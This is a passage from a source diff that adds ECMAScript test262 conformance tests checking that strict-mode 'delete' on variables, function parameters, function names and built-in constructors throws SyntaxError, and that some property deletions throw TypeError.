diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-1-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-1-s.js
new file mode 100644
index 000000000..3235f6aff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable which is a primitive value type (number)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_4_1_5 = 5;
+
+ try {
+ eval("delete _11_4_1_5;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-10-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-10-s.js
new file mode 100644
index 000000000..6d614fb99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-10-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-10-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Array
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var arrObj = [1,2,3];
+
+ try {
+ eval("delete arrObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-11-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-11-s.js
new file mode 100644
index 000000000..328b4926f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-11-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-11-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type String
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var strObj = new String("abc");
+
+ try {
+ eval("delete strObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-12-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-12-s.js
new file mode 100644
index 000000000..e09226b1d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-12-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-12-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Boolean
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var boolObj = new Boolean(false);
+
+ try {
+ eval("delete boolObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-13-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-13-s.js
new file mode 100644
index 000000000..008466068
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-13-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-13-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Number
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var numObj = new Number(0);
+
+ try {
+ eval("delete numObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-14-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-14-s.js
new file mode 100644
index 000000000..8d6770b27
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-14-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Date
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var dateObj = new Date();
+
+ try {
+ eval("delete dateObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-15-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-15-s.js
new file mode 100644
index 000000000..3ce568c6a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-15-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-15-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type RegExp
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var regObj = new RegExp();
+
+ try {
+ eval("delete regObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-16-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-16-s.js
new file mode 100644
index 000000000..0edd4401f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-16-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-16-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Error
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var errObj = new Error();
+
+ try {
+ eval("delete errObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-17-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-17-s.js
new file mode 100644
index 000000000..2cb8fedef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-17-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-17-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Arguments
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var argObj = (function (a, b) { delete arguments; }(1, 2));");
+
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-18-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-18-s.js
new file mode 100644
index 000000000..d26819ff7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-18-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-18-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Object)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Object;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-19-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-19-s.js
new file mode 100644
index 000000000..c45a701b0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-19-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-19-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Function)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Function;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-2-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-2-s.js
new file mode 100644
index 000000000..aa5290faa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-2-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-2-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a function parameter
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ function funObj(x) {
+ eval("delete x;");
+ }
+
+ try {
+ funObj(1);
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-20-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-20-s.js
new file mode 100644
index 000000000..cf683589c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-20-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-20-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Array)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Array;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-21-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-21-s.js
new file mode 100644
index 000000000..994e6ff96
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-21-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-21-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (String)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete String;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-22-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-22-s.js
new file mode 100644
index 000000000..341062b03
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-22-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-22-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Boolean)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Boolean;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-23-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-23-s.js
new file mode 100644
index 000000000..b0302df8b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-23-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-23-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Number)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Number;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-24-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-24-s.js
new file mode 100644
index 000000000..0f03df1a7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-24-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-24-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Date)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete Date;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-25-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-25-s.js
new file mode 100644
index 000000000..0f418645a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-25-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-25-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (RegExp)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("delete RegExp;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-26-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-26-s.js
new file mode 100644
index 000000000..62ed21fc3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-26-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-26-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a built-in (Error)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var errorBackup = Error;
+ try {
+ eval("delete Error;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ } finally {
+ Error = errorBackup;
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-27-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-27-s.js
new file mode 100644
index 000000000..4dacb29bd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-27-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-27-s.js
+ * @description Strict Mode - TypeError is thrown after deleting a property, calling preventExtensions, and attempting to reassign the property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var a = {x:0, get y() { return 0;}};
+ delete a.x;
+ Object.preventExtensions(a);
+ try {
+ a.x = 1;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-28-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-28-s.js
new file mode 100644
index 000000000..4a5e015c3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-28-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-28-s.js
+ * @description Strict Mode - TypeError is thrown when deleting RegExp.length
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var a = new RegExp();
+ try {
+ var b = delete RegExp.length;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-3-s.js
new file mode 100644
index 000000000..3c1e18390
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-3-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a function name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ function funObj () { }
+
+ try {
+ eval("delete funObj");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-4-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-4-s.js
new file mode 100644
index 000000000..55bca492b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-4-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-4-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a function parameter
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ function funObj(x, y, z) {
+ eval("delete y;");
+ }
+
+ try {
+ funObj(1);
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5-s.js
new file mode 100644
index 000000000..4e72bc917
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-5-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable which is a primitive type (boolean)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_4_1_5 = true;
+
+ try {
+ eval("delete _11_4_1_5;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5gs.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5gs.js
new file mode 100644
index 000000000..ed126f668
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-5gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-5gs.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable which is primitive type(boolean)
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+var _11_4_1_5 = 7;
+throw NotEarlyError;
+delete _11_4_1_5; \ No newline at end of file
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-6-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-6-s.js
new file mode 100644
index 000000000..f428dfeb6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-6-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-6-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable which is a primitive type (string)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_4_1_5 = "abc";
+
+ try {
+ eval("delete _11_4_1_5;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-7-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-7-s.js
new file mode 100644
index 000000000..090276fd7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-7-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-7-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type Object
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = new Object();
+
+ try {
+ eval("delete obj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-8-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-8-s.js
new file mode 100644
index 000000000..3116d6bc7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-8-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-8-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a function object
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var funObj = function () { };
+
+ try {
+ eval("delete funObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-9-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-9-s.js
new file mode 100644
index 000000000..45b626551
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-a-9-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-a-9-s.js
+ * @description Strict Mode - SyntaxError is thrown when deleting a variable of type function (declaration)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ function funObj () { };
+
+ try {
+ eval("delete funObj;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.4-4.a-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.4-4.a-3-s.js
